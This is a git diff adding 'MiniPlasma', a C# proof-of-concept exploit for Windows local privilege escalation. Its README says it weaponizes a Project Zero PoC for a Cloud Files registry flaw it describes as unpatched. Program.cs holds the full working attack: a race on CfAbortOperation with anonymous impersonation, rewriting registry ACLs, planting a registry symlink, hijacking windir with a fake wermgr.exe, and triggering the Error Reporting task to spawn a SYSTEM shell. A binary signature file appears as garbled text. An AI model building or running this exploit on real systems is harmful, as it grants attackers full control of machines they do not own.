b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj new file mode 100644 index 0000000..eb8e0af --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj @@ -0,0 +1,125 @@ + + + + + + Debug + AnyCPU + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3} + Exe + true + PoC_AbortHydration_ArbitraryRegKey_EoP + PoC_AbortHydration_ArbitraryRegKey_EoP + v4.8.1 + 512 + true + true + false + + + + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 1 + 1.0.0.%2a + false + true + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + false + + + 0F28BB121C2D5CEE6A57C741514F51E5F2D9ECAD + + + PoC_AbortHydration_ArbitraryRegKey_EoP_TemporaryKey.pfx + + + true + + + true + + + + ..\packages\Costura.Fody.6.2.0\lib\netstandard2.0\Costura.dll + + + ..\packages\TaskScheduler.2.12.2\lib\net48\Microsoft.Win32.TaskScheduler.dll + + + ..\packages\NtApiDotNet.1.1.33\lib\net461\NtApiDotNet.dll + + + + + + + + + + + + + + + + + + + + + + + + + + False + Microsoft .NET Framework 4.7.2 %28x86 and x64%29 + true + + + False + .NET Framework 3.5 SP1 + false + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + + \ No newline at end of file diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj.user b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj.user new file mode 100644 index 0000000..75eb54d --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj.user @@ -0,0 +1,13 @@ + + + + publish\ + + + + + + en-US + false + + \ No newline at end of file diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs new file mode 100644 index 0000000..afe21d1 --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs @@ -0,0 +1,369 @@ +using Microsoft.Win32; +using Microsoft.Win32.TaskScheduler; +using NtApiDotNet; +using NtApiDotNet.Win32; +using System; +using System.Diagnostics; +using System.IO; +using System.IO.Pipes; +using System.Runtime.InteropServices; +using System.Security.AccessControl; +using System.Security.Cryptography; +using System.Security.Permissions; +using System.Threading; + +namespace PoC_AbortHydration_ArbitraryRegKey_EoP +{ + static class Program + { + static NtKey OpenKey(NtKey root, string path, KeyAccessRights desired_access) + { + Console.WriteLine("Opening for {0}", desired_access); + using (var obja = new ObjectAttributes(path, AttributeFlags.OpenLink, root)) + { + using (var key = NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile, false)) + { + if (key.IsSuccess) + return key.Result.Duplicate(); + } + + using (var imp = NtThread.Current.ImpersonateAnonymousToken()) + { + return NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile); + } + } + } + + static void SetSecurityDescriptor(NtKey key, SecurityInformation info) + { + var sd = new SecurityDescriptor("D:(A;OICIIO;GA;;;WD)(A;OICIIO;GA;;;AN)(A;;GA;;;WD)(A;;GA;;;AN)S:(ML;OICI;NW;;;S-1-16-0)"); + key.SetSecurityDescriptor(sd, info); + } + + static void ForceKeyDeleteKey(NtKey root, string name) + { + Console.WriteLine(@"Deleting {0}\{1}", root.FullPath, name); + using (var key = OpenKey(root, name, KeyAccessRights.WriteDac)) + { + Console.WriteLine("Opened for WriteDac"); + SetSecurityDescriptor(key, SecurityInformation.Dacl); + } + + using (var key = OpenKey(root, name, KeyAccessRights.WriteOwner)) + { + Console.WriteLine("Opened for WriteOwner"); + SetSecurityDescriptor(key, SecurityInformation.Label); + } + + using (var new_key = OpenKey(root, name, KeyAccessRights.Delete | KeyAccessRights.EnumerateSubKeys)) + { + Console.WriteLine("Opened for enumerate."); + DeleteRegistryTree(new_key); + new_key.Delete(); + } + } + + static void DeleteRegistryTree(NtKey root) + { + foreach (var name in root.QueryKeys()) + { + ForceKeyDeleteKey(root, name); + } + } + + [Flags] + enum AbortHydrationFlags + { + None = 0, + Unblock = 1, + Block = 2, + } + + [DllImport("cldapi.dll", CharSet = CharSet.Unicode)] + static extern int CfAbortOperation(int pid, IntPtr unknown, AbortHydrationFlags flags); + + + [StructLayout(LayoutKind.Sequential)] + struct CF_PLATFORM_INFO + { + public int BuildNumber; + public int RevisionNumber; + public int IntegrationNumber; + } + + [DllImport("cldapi.dll", CharSet = CharSet.Unicode)] + static extern int CfGetPlatformInfo( + out CF_PLATFORM_INFO PlatformVersion + ); + + static void ForceTokenThread(object obj) + { + try + { + using (var thread = (NtThread)obj) + { + Console.WriteLine("In force token thread {0}", thread); + using (var token = TokenUtils.GetAnonymousToken()) + { + while (true) + { + thread.SetImpersonationToken(token); + thread.SetImpersonationToken(null); + } + } + } + } + catch(ThreadAbortException) + { + return; + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + } + + const string ROOT_KEY = @"\Registry\User\.DEFAULT\Software\Policies\Microsoft"; + static string CLOUD_FILES = $@"{ROOT_KEY}\CloudFiles"; + static string BLOCKED_APPS = $@"{CLOUD_FILES}\BlockedApps"; + const string TARGET_KEY = @"\Registry\User\.DEFAULT\Volatile Environment"; + + static void CheckKeyThread(object root_key) + { + string path = (bool)root_key ? ROOT_KEY : @"\Registry\User\.DEFAULT"; + try + { + using (var key = NtKey.Open(path, null, KeyAccessRights.MaximumAllowed)) + { + while (true) + { + if (key.NotifyChange(NotifyCompletionFilter.Name, true) == NtStatus.STATUS_NOTIFY_ENUM_DIR) + { + Console.WriteLine("Change detected."); + Environment.Exit(0); + break; + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + } + + static int Check(this int hr) + { + if (hr < 0) + Marshal.ThrowExceptionForHR(hr); + return hr; + } + + const int MAX_STAGE = 4; + + static void Stage0() + { + for (int i = 1; i < MAX_STAGE; ++i) + { + Win32ProcessConfig config = new Win32ProcessConfig + { + CommandLine = $"run {i}", + ApplicationName = typeof(Program).Assembly.Location, + TerminateOnDispose = true + }; + + using (var p = Win32Process.CreateProcess(config)) + { + if (p.Process.Wait(10) != NtStatus.STATUS_SUCCESS) + { + throw new ArgumentException($"Failed to run stage {i}"); + } + } + } + } + + static void Stage1(bool root_key) + { + Thread check_key_th = new Thread(CheckKeyThread); + check_key_th.IsBackground = true; + check_key_th.Start(root_key); + Thread.Sleep(1000); + + var th = NtThread.OpenCurrent(); + var anon_thread = new Thread(ForceTokenThread) + { + IsBackground = true + }; + anon_thread.Start(th); + + while (true) + { + CfAbortOperation(NtProcess.Current.ProcessId, + IntPtr.Zero, AbortHydrationFlags.Block); + } + } + + static void Stage2() + { + using (var key = OpenKey(null, CLOUD_FILES, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner | KeyAccessRights.EnumerateSubKeys)) + { + SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label); + DeleteRegistryTree(key); + } + + NtKey.CreateSymbolicLink(BLOCKED_APPS, null, TARGET_KEY); + Stage1(false); + } + + static void Stage3() + { + using (var key = OpenKey(null, BLOCKED_APPS, KeyAccessRights.Delete)) + { + Console.WriteLine("Cleaning up link {0}", key.FullPath); + key.Delete(); + } + + using (var key = OpenKey(null, TARGET_KEY, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner)) + { + SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label); + } + var key2 = Registry.Users.OpenSubKey(@".DEFAULT\Volatile Environment", RegistryRights.FullControl); + foreach(var subkey in key2.GetSubKeyNames()) + { + var fullsubkey = TARGET_KEY + @"\" + subkey; + Console.WriteLine("Cleaning up subkey {0}", fullsubkey); + NtKey _subkey; + try + { + _subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.WriteDac); + } + catch (Exception ex) + { + + _subkey = OpenKey(null, fullsubkey, KeyAccessRights.WriteDac); + } + SetSecurityDescriptor(_subkey, SecurityInformation.Dacl); + _subkey.Close(); + _subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.Delete); + _subkey.Delete(); + _subkey.Close(); + } + + key2.Close(); + using(NtKey ntarget = NtKey.Open(TARGET_KEY,null,KeyAccessRights.SetValue)) + { + ntarget.SetValue("windir", Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName)); + } + + string fakesys32 = Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName) + @"\System32"; + Directory.CreateDirectory(fakesys32); + string fakewer = fakesys32 + @"\wermgr.exe"; + File.Copy(Process.GetCurrentProcess().MainModule.FileName, fakewer, true); + + var srvnamedpipe = new NamedPipeServerStream("MiniPlasmaWERPipe"); + System.Threading.Tasks.Task pipewait = srvnamedpipe.WaitForConnectionAsync(); + + using (TaskService tasksvc = new TaskService()) + { + Task wertask = tasksvc.GetTask(@"\Microsoft\Windows\Windows Error Reporting\QueueReporting"); + wertask.Run(); + wertask.Dispose(); + } + if(!pipewait.Wait(2000)) + { + Console.WriteLine("Exploit failed."); + } + else + { + Console.WriteLine("Exploit succeeded."); + } + srvnamedpipe.Dispose(); + Thread.Sleep(1000); + try + { + File.Delete(fakewer); + Directory.Delete(fakesys32); + } + catch (Exception ex) + { } + using (NtKey ntarget = NtKey.Open(TARGET_KEY, null, KeyAccessRights.Delete)) + { + ntarget.Delete(false); + } + + } + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool GetNamedPipeServerSessionId(IntPtr Pipe, out UInt32 ClientProcessId); + + static void Main(string[] args) + { + bool isSystem; + using (var identity = System.Security.Principal.WindowsIdentity.GetCurrent()) + { + isSystem = identity.IsSystem; + } + if (isSystem) + { + Environment.SetEnvironmentVariable("windir", @"C:\Windows",EnvironmentVariableTarget.Process); + var namedpipeclient = new NamedPipeClientStream("MiniPlasmaWERPipe"); + namedpipeclient.Connect(); + UInt32 nSesID; + IntPtr hPipe = namedpipeclient.SafePipeHandle.DangerousGetHandle(); + if (!GetNamedPipeServerSessionId(hPipe, out nSesID)) + return; + namedpipeclient.Dispose(); + NtToken token = NtToken.OpenEffectiveToken(); + NtToken token2 = token.DuplicateToken(); + token.Dispose(); + token = token2; + token.SetSessionId(((int)nSesID)); + Win32Process.CreateProcessAsUser(token, @"C:\Windows\System32\conhost.exe", "", CreateProcessFlags.None, null); + return; + + } + + + try + { + CfGetPlatformInfo(out CF_PLATFORM_INFO _).Check(); + + if (args.Length <= 1) + { + int stage = args.Length > 0 ? int.Parse(args[0]) : 0; + switch (stage) + { + case 0: + Stage0(); + break; + case 1: + Stage1(true); + break; + case 2: + Stage2(); + break; + case 3: + Stage3(); + break; + default: + throw new ArgumentException("Erm?"); + } + } + else + { + using (var token = TokenUtils.GetLogonUserToken(args[0], "", args[1], SecurityLogonType.Network, null)) + { + using (var imp = token.Impersonate()) + { + CfAbortOperation(NtProcess.Current.ProcessId, IntPtr.Zero, AbortHydrationFlags.Block).Check(); + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + } + } +} diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/Properties/AssemblyInfo.cs b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..6e2483f --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("PoC_AbortHydration_ArbitraryRegKey_EoP")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("PoC_AbortHydration_ArbitraryRegKey_EoP")] +[assembly: AssemblyCopyright("Copyright © 2020")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("352f6dd7-9b05-4896-9e7d-2efa36eac6e3")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config new file mode 100644 index 0000000..e7e6172 --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file diff --git a/MiniPlasma/README.md b/MiniPlasma/README.md new file mode 100644 index 0000000..f089ab1 --- /dev/null +++ b/MiniPlasma/README.md @@ -0,0 +1,16 @@ +# MiniPlasma + +After re-investigating the technique used in GreenPlasma (specifically SetPolicyVal), it turns out cldflt!HsmOsBlockPlaceholderAccess is still vulnerable to the exact same issue that was reported to Microsoft 6 years ago. +I'm not taking full credit for this, James Forshaw from google project zero found the vulnerability and reported it to Microsoft and was supposedly fixed as [CVE-2020-17103](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17103). + +However, a research who's a friend of mine pointed out that the routine might still have a vulnerability, which is something I considered but brushed off because I thought it was impossible for Microsoft to just not patch this or rollback the patch. + +After investigating, it turns out the exact same issue that [was reported to Microsoft by Google project zero](https://project-zero.issues.chromium.org/issues/42451192) is actually still present, unpatched. I'm unsure if Microsoft just never patched the issue or the patch was silently rolled back at some point for unknown reasons. The original PoC by Google worked without any changes. + +To highlight this issue, I weaponized the original PoC to spawn a SYSTEM shell. It seems to work reliably in my machines but success rate may vary since it's a race condition. + +I believe all Windows versions are affected by this vulnerability. + +poc + + diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/.signature.p7s b/MiniPlasma/packages/Costura.Fody.6.2.0/.signature.p7s new file mode 100644 index 0000000000000000000000000000000000000000..1629ee02e5b96efaa033cd585aa1fbc23fca1616 GIT binary patch literal 13000 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 XzV3{^uL-MNXcr$`&^`8@(aZk=$$tfA literal 0 HcmV?d00001 